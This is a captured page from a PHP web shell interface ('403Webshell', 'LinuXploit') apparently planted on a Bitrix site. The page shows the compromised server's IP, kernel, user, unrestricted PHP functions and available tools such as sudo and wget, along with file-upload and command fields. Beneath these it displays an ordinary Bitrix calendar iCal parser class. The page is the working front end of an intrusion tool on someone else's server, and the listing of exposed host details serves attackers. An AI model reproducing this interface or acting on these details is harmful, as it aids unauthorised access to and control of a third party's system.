403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/ical/parser/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/ical/parser/parsermanager.php
<?php


namespace Bitrix\Calendar\ICal\Parser;


class ParserManager
{
	/**
	 * @var array
	 */
	private $data;
	/**
	 * @var array
	 */
	private $timezones;
	/**
	 * @var array
	 */
	private $events = [];
	/**
	 * @var array
	 */
	private $components = [];
	/**
	 * @var string
	 */
	private $method = '';

	public static function getInstance(string $data): ParserManager
	{
		return new self($data);
	}

	public function __construct(string $data = '')
	{
		$this->data = $data;
	}

	public function parseData(): ParserManager
	{
		try
		{
			$parser = Parser::getInstance($this->data);
			$this->components = $parser->handleData()->getComponents();
		}
		catch(\Exception $e)
		{
		}

		return $this;
	}

	public function handleComponents(): ParserManager
	{
		$components = $this->components;

		foreach ($components as $component)
		{
			if ($component instanceof Calendar)
			{
				$this->events = $component->handleEvents()->getEvents();
				$this->method = $component->getMethod();
			}
			elseif ($component instanceof Event)
			{
				$this->events[] = $component->getContent();
			}
		}

		return $this;
	}

	public function getComponents(): array
	{
		return $this->components;
	}

	public function getEvents()
	{
		return $this->events;
	}

	public function getProcessedEvents()
	{
		return $this->parseData()
			->handleComponents()
			->getEvents();
	}

	public function getMethod()
	{
		return $this->method;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit